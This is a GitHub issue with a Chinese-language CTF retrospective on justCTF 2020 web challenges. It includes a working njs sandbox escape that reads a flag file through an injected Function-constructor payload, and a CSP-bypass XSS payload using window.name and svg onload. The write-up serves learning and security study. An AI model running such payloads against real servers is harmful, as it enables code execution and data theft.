aszx87410 / ctf-writeups

ctf writeups
61 stars 9 forks source link

justCTF [*] 2020 - 檢討 #11

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

因為一題都沒解出來所以就只好來檢討了,一樣以 web 題為主

njs

source code:

var Calculator = function(result){
    this.result = result;
};

Calculator.prototype.addEquation = function(op, x, y){
    this.result = this[op](x, y);
    return this.result
};

Calculator.prototype.toString = function(prop) {
    if(prop) {
        return this.result[prop]
    }
    return this.result;
};

Calculator.prototype.add = function(x, y) {
    if(y != null)
        return x + y;
    return this.result + x;
};
Calculator.prototype.sub = function(x, y) {
    if(y != null)
        return x - y;
    return this.result - x;
};
Calculator.prototype.mul = function(x, y) {
    if(y != null)
        return x * y;
    return this.result * x;
};
Calculator.prototype.div = function(x, y) {
    if(y != null)
        return x / y;
    return this.result / x;
};

function template() {
    return  "<html>" +
        "<head></head><body>" +
        "<form id='form' method='post'>" +
        "<input name='x' type='text' value='7'>" +
        "<select name='op'>" +
        "<option value='add'>+</option>" +
        "<option value='sub'>-</option>" +
        "<option selected value='mul'>*</option>" +
        "<option value='div'>/</option>" +
        "</select>" +
        "<input name='y' type='text' value='7'>" +
        "<span>=</span>" +
        "<span id='result'>?</span>" +
        "<input type='submit' value='Calc'/>" +
        "</form>" +
        "<!-- <a href='/source'>source</a> -->" +
        "<script>function onSubmit(t){t.preventDefault();try{(async()=>{var t={};const e=new FormData(document.querySelector(\"form\"));for(var n of e.entries())t[n[0]]=n[1];try{var r=await fetch(\"/\",{method:\"POST\",headers:{Accept:\"application/json\",\"Content-Type\":\"application/json\"},body:JSON.stringify([{op:t.op,x:parseInt(t.x),y:parseInt(t.y)}])});document.getElementById(\"result\").innerText=await r.text()}catch(t){document.getElementById(\"result\").innerText=t.toString()}})()}catch(t){}return!1}document.getElementById(\"form\").addEventListener(\"submit\",onSubmit);</script>" +
        "<!-- <a href='/source'>source</a> -->" +
        "</body></html>"
}

// GET /
// POST /
function handlerCalc(r) {
    r.headersOut['Content-Type'] = 'text/html';
    if (r.method !== "POST") {
        r.return(200, template());
        return;
    }

    try {
        var data = r.requestBody;
        var calc = new Calculator(0);
        var calls = JSON.parse(data);
        for(var i = 0; i<calls.length; i++) {
            var call = calls[i];
            calc.addEquation(call.op, call.x, call.y);
        }
        r.return(200, calc.toString());
    } catch (e) {
        r.return(500, e.toString());
    }
}

// GET /source
function handlerSource(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, require("fs").readFileSync("/etc/nginx/server.js"));
}

// GET /info
function handlerInfo(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, njs.dump(global));
}

/*
Hint1: We are using docker image `nginx:1.19.5-alpine`
Hint2: Flag is in `/home/` directory
*/
export default {handlerCalc, handlerSource, handlerInfo};

這一題當初看滿久的,看一看發現那個 toString 很可疑,想一想就發現可以傳多個 ops 進去,就可以讓 thtis.result 是 function constructor 然後執行:

[
  {
    "op": "toString",
    "x": "constructor" // this.result = (0).constructor => function Number
  },
  {
    "op": "toString",
    "x": "constructor" // this.result = Number.constructor => function constructor
  },
  {
    "op": "result",
    "x": "return 123" // this.result = Function("return 123")
  },
  {
    "op": "result",
    "x": "run" // this. result = this.result("run")
  }
]

但這樣做會噴一個 TypeError: function constructor is disabled in "safe" mode 的 error

直接拿關鍵字餵狗:njs TypeError: function constructor is disabled in "safe" mode,可以找到這段 diff:https://hg.nginx.org/njs/rev/142b3fec5d4f

一開始沒仔細看,後來仔細看發現有一段在說如果 function body 是 return this 就給過

    if (!vm->options.unsafe) {
        body = njs_argument(args, nargs - 1);
        ret = njs_value_to_string(vm, body, body);
        if (njs_slow_path(ret != NJS_OK)) {
            return ret;
        }

        njs_string_get(body, &str);

        /*
         * Safe mode exception:
         * "(new Function('return this'))" is often used to get
         * the global object in a portable way.
         */

        if (str.length != njs_length("return this")
            || memcmp(str.start, "return this", 11) != 0)
        {
            njs_type_error(vm, "function constructor is disabled"
                           " in \"safe\" mode");
            return NJS_ERROR;
        }
    }

可是雖然過了但沒什麼用,然後題目又有給一個列出 global 的 endpoint,底下有個 process,我就一直想說是不是要用 glboal,或是透過 global 拿到 global.eval 來做事,就在想怎麼樣拿到 global 但想不出來

你 function 是 this.result 所以怎麼呼叫 this 都會是 c 而不會是 global QQ

後來看到 discord 上的討論,都怪我沒有把程式碼看完,我找到正確的地方了但沒仔細看:https://github.com/nginx/njs/blob/0.4.4/src/njs_function.c

njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
    ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
    if (njs_slow_path(ret < NJS_OK)) {
        return ret;
    }

    if (i != (nargs - 2)) {
        njs_chb_append_literal(&chain, ",");
    }
}

njs_chb_append_literal(&chain, "){");

ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));
if (njs_slow_path(ret < NJS_OK)) {
    return ret;
}

njs_chb_append_literal(&chain, "})");

他是用字串拼接的方式把 function 拼起來,簡而言之就是:(function(args){body}),其中 body 一定要是 return this 才給過,所以就是:(function(args){return this}),但問題是 args 是可控的!

所以可以這樣搞:(function(){return 123})//){return this}),其中的參數部分就是:){return 123})//

透過這樣的方式就可以執行任意 js 了:

先用 require('fs').readdirSync('/home') 讀出檔案名稱,最後 payload:

[
  {
    "op": "toString",
    "x": "constructor"
  },
  {
    "op": "toString",
    "x": "constructor"
  },
  {
    "op": "result",
    "x": "){return require('fs').readFileSync('/home/RealFlagIsHere1337.txt').toString()})//",
    "y": "return this"
  }, {
    "op": "result"
  }
]

這題滿有趣的,應該是這次我最有機會過的一題但沒把握住

Forgotten name

我連題目都看不太懂...我有嘗試去找 justctf.team 有哪些 subdomain 但找錯方向了 應該要找 jctf.pro 才對
筆記幾個好用服務

https://crt.sh/?q=jctf.pro https://transparencyreport.google.com/https/certificates?cert_search_auth=&cert_search_cert=&cert_search=include_subdomains:true;domain:web.jctf.pro&lu=cert_search_cert

Baby CSP

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

https://hackmd.io/@terjanq/justCTF2020-writeups

最後的解法是這樣:

<script>
    name="fetch('?flag').then(e=>e.text()).then(alert)"

    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');

</script>

原來可以這樣運用 name 的嗎?這樣的話看起來是共用同一個 window?先讓 name = payload,再用 eval(name) 來逃避字數限制,看來該找時間研究一下 top window,我都不知道還可以這樣,讓跳轉後的網頁用到前面網頁的 name

CSP header 利用 PHP 特性蓋掉

Computeration

這題我方向有對但不知道怎麼實作XD

有想到利用 REDOS 搭配 timing attack 應該可以把 flag 弄出來但不知道怎麼實作

https://hackmd.io/@terjanq/justCTF2020-writeups

看了 writeup 沒有很懂,之後有機會再找時間實作看看

aszx87410 commented 3 years ago

https://www.jianshu.com/p/43ff69d076e3 https://www.zhangxinxu.com/wordpress/2019/09/window-name/

原來 window.name 真的這麼神奇

aszx87410 commented 3 years ago

https://xz.aliyun.com/t/7184